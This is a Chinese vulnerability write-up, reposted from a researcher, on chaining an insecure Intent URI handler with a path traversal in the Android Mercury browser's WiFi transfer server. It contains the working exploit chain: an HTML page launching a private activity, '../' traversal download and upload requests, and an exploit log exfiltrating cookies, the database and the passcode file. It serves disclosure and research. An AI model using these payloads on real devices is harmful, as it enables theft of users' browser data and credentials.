0×00 Mercury浏览器简介

Mercury浏览器是2010年上架的一款老牌智能终端浏览器,它的软件界面是 Chrome 类似的简洁风。其丰富的功能包括:隐私浏览、PC页面模式、插件、手势控制、强大的下载工具、阅读模式、主题、打印、全屏浏览、文件共享、广告过滤、标签、浏览器伪装、密码保护、保存页面等等。目前主要应用于智能终端上,主要为iOS和安卓设备。

0×01 背景概述

安卓平台上的Mercury浏览器中采用了一个不安全的Intent URI实现方案,并且其定制的Web服务器上包含一个路径遍历漏洞,该服务器用于支持其无线传输功能。将这些漏洞结合在一起将允许远程攻击者在Mercury浏览器的数据目录中执行任意读写文件操作。

Mercury浏览器目前拥有50万到100万的安装量,并且其上一次更新在2015年8月17日。

0×02 不安全的Intent URI方案实现

当逆向安卓web浏览器时,我喜欢做的第一件事就是确定它使用的Intent URI方案,并且判断它是否进行了不安全的实现。通过将浏览器加载到Lobotomy内部,并利用其bowser模块就能很容易地定位到使用Intent URI的地方:

(lobotomy) loader /Users/benjaminwatson/Android-Web-Browsers/mercury/apk/com.ilegendsoft.mercury.apk
[2015-08-23 16:11:49.179402] Loading : /Users/benjaminwatson/Android-Web-Browsers/mercury/apk/com.ilegendsoft.mercury.apk
(lobotomy) bowser enum
[2015-08-23 16:12:11.632313] Searching for parseUri()
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x260) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x294) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x31c) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;

bowser模块返回几个调用parseUri()的位置,而parseUri()就是将Intent URI方案转化为一个Intent对象的函数。经过检查,我能够确认浏览器中存在一个不安全的实现:

if (paramString.startsWith("intent://")) {  
      try
      {
        paramWebView = Intent.parseUri(paramString, 1);
        paramString = paramWebView.getDataString();
        if ((paramString != null) && (paramString.startsWith("com.amazon.mobile.shopping://amazon.com")))
        {
          paramWebView.setData(Uri.parse("market://details?id=" + paramWebView.getPackage()));
          paramWebView.setPackage(null);
        }
        this.a.startActivity(paramWebView);
        return true;
      }
      catch (Exception paramWebView)
      {
        paramWebView.printStackTrace();
        return true;
      }

Lobotomy还配备了一套支持拦截技术的web服务,它也可以通过一个节点用来触发这个调用:

@src.route('/services/intent')def intent_service():
    """
    Triggers the parsing of the intent:// URI scheme
    """
    response = """
        <html>
            <head>
                <meta charset="utf-8" />
                <title>Trigger parseUri()</title>
            </head>
            <body>
                <script>
                    location.href="intent:#Intent;action=android.intent.action.VIEW;end";
                </script>
            </body>
        </html>
    """
    return response

0×03 WiFi管理器

Intent URI方案不安全的实现允许攻击者通过一个精心设计的HTML页面调用私有属性的Activity。当存在该漏洞时,我通常是坚持瞄准应用程序中的私有Activity,它不能被外部调用。

在将Mercury浏览器加载进Lobotomy后,我运行了组件模块来寻找潜在的位置:

...
..
.
[2015-08-23 13:07:39.810710] Activity : 
com.ilegendsoft.mercury.ui.activities.PasscodeActivity
[2015-08-23 13:07:39.810722] Activity : com.ilegendsoft.mercury.ui.activities.bookmark.BookmarksImportFilesActivity
[2015-08-23 13:07:39.810732] Activity : 
com.ilegendsoft.mercury.ui.activities.FlipTabsActivity
[2015-08-23 13:07:39.810741] Activity : 
com.ilegendsoft.mercury.ui.activities.SplashActivity
[2015-08-23 13:07:39.810750] Activity : 
com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2
[2015-08-23 13:07:39.810759] Activity : 
com.ilegendsoft.mercury.external.zxing.CaptureActivity
[2015-08-23 13:07:39.810767] Activity : 
com.dropbox.client2.android.AuthActivity
[2015-08-23 13:07:39.810830] Activity : com.ilegendsoft.mercury.ui.activities.zcloud.PushUrlActivity
[2015-08-23 13:07:39.810864] Activity : com.ilegendsoft.mercury.ui.activities.filemanager.FileManagerActivity
[2015-08-23 13:07:39.810877] Activity : com.ilegendsoft.mercury.ui.activities.filemanager.SubFolderActivity
...
..
.

在进行了一些试验并遭遇一系列错误之后,我偶然找到了com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2,这是Mercury浏览器中一个私有属性的Activity。在进行了一些逆向分析后,我发现这个Activity调用了一个“特性”,它允许备份和恢复由浏览器和任何其他应用程序存储在sdcard上的数据,或正如它被称为一个WiFi传输器。看起来一旦调用了这个Activity,这将会注册一个广播接收器来处理行为org.join.action.SERV_AVAILABLE。在进行更多深入挖掘之后,我注意到创建了一个叫做“WebService”的服务,并通过显式调用绑定到本地设备。在目标WebService的onBind()方法内,调用了openWebServer():

public IBinder onBind(Intent paramIntent)  
  {
    openWebServer();
    return this.mBinder;
  }
  private void openWebServer()
  {
    if (this.webServer != null)
    {
      this.webServer.setDaemon(true);
      this.webServer.start();
    }
  }

所以在这一点上很明显,浏览器实例化了一个定制的web服务器,以此来提供sdcard上的数据,而本地网络上的任何其他设备也可访问这些数据,所以我进一步检查了WebServer.class文件,该文件处理了所有的主要功能:

((HttpRequestHandlerRegistry)localObject3).register("/dodownload", new HttpDownHandler(this.webRoot));
    ((HttpRequestHandlerRegistry)localObject3).register("/dodelete", new HttpDelHandler(this.webRoot));
    ((HttpRequestHandlerRegistry)localObject3).register("/doupload", new HttpUpHandler(this.webRoot));
    ((HttpRequestHandlerRegistry)localObject3).register("/doprogress", new HttpProgressHandler());

在这里可以看到,WebServer为下载、删除和上传文件注册了特定的URI路径。关于Web服务器的其他神奇之处在于,它总是绑定到相同的端口,所以我配置了我的测试设备来开始代理流量并玩转它的功能。

0×04 路径遍历漏洞

在稍微分析了web服务器之后,我发现其中有一个路径遍历漏洞,我可以利用该漏洞读取Mercury数据目录中的数据:

/dodownload?fname=../../../../data/data/com.ilegendsoft.mercury/shared_prefs/passcode.xml

这是一个重大的发现,因为这意味着我可以下载和漏出浏览器数据目录存储的文件。没有花费多少时间,我就验证了利用上传功能和路径遍历漏洞就能够写入并覆写浏览器目录内的文件:

POST /doupload?dir=../../../../data/data/com.ilegendsoft.mercury/shared_prefs/&id=c2f18b1f-8d77-4a73-98f8-2cb1461f70c4 HTTP/1.1  Host: 10.174.90.159:8888  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://10.174.90.159:8888/  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=---------------------------20198766556454488091118231866  
Content-Length: 228
-----------------------------20198766556454488091118231866
Content-Disposition: form-data; name="Download/"; filename="test.txt"  
Content-Type: text/plain
test
-----------------------------20198766556454488091118231866--
root@hammerhead:/data/data/com.ilegendsoft.mercury/shared_prefs # ls  
LASConfig.xml  
adblock.xml  
application.xml  
com.ilegendsoft.mercury_preferences.xml  
file_manager.xml  
lbsdata.xml  
mapplication.xml  
menu_add_function.xml  
menus.xml  
mercury_flurry_log_event.xml  
mercury_version.xml  
merucry_application_theme.xml  
navigation_v_2.xml  
passcode.xml  
readinglist_shredpreference.xml  
search_engine_v_2.xml  
speed_dial_v_2.xml  
speeddial.xml  
test.txt  
zcloud_db.xml

0×05 漏洞利用

为了将这些漏洞合并到一个更好的利用链,就需要实现以下步骤:

1、提供一个精心设计的HTML页面,让其利用Intent URI方案调用WiFi管理器Activity;

2、获取目标设备的IP地址;

3、进行轮询,直到收到Activity调用的通知;

4、利用路径遍历漏洞,并漏出浏览器数据目录中的文件。

首先我们通过URL将目标HTML页面加载到浏览器:

<html>
    <head>
          <meta charset="utf-8" />
    </head>
    <body>
          <script>
                 location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
          </script>
     </body>
</html>
...
..
.
[~/Tools/mobile/android/lobotomy]> python web/run.py runserver -h 0.0.0.0
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
Mozilla/5.0 (Linux; Android 4.4.3; Nexus 5 Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36  
10.174.90.159 - - [23/Aug/2015 16:37:13] "GET /exploits/mercury/wfm/intent HTTP/1.1" 200 -  
10.174.90.159 - - [23/Aug/2015 16:37:13] "GET /favicon.ico HTTP/1.1" 404

在后台,我们有另一个脚本对web服务进行轮询,等待预处理的通知。一旦它收到这个通知,它将利用路径遍历漏洞并开始下载一些目标文件:

└[~/Tools/mobile/android/lobotomy/framework/brains/exploits/browser/mercury]> python exploit.py
[2015-08-23 16:40:32.074803] Polling ...
[2015-08-23 16:40:34.095055] Polling ...
[2015-08-23 16:40:36.104810] Polling ...
[2015-08-23 16:40:38.114483] Polling ...
[2015-08-23 16:40:38.120936] Exploit engaged! Target IP : 10.174.90.159
[2015-08-23 16:40:38.120983] Exfilling /databases/mercury_database.db
[2015-08-23 16:40:38.278997] Exfilling /app_webview/Cookies
[2015-08-23 16:40:38.293556] Exfilling /shared_prefs/passcode.xml
...
..
.
<?xml version='1.0' encoding='utf-8' standalone='yes' ?> 
<map>  
    <string name="passcode">1234</string>
</map>

0×06 安全建议

如果你正在使用安卓平台的Mercury浏览器,强烈建议你立即卸载该浏览器,并选择一个备用的浏览器。

*参考来源:rotlogix,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...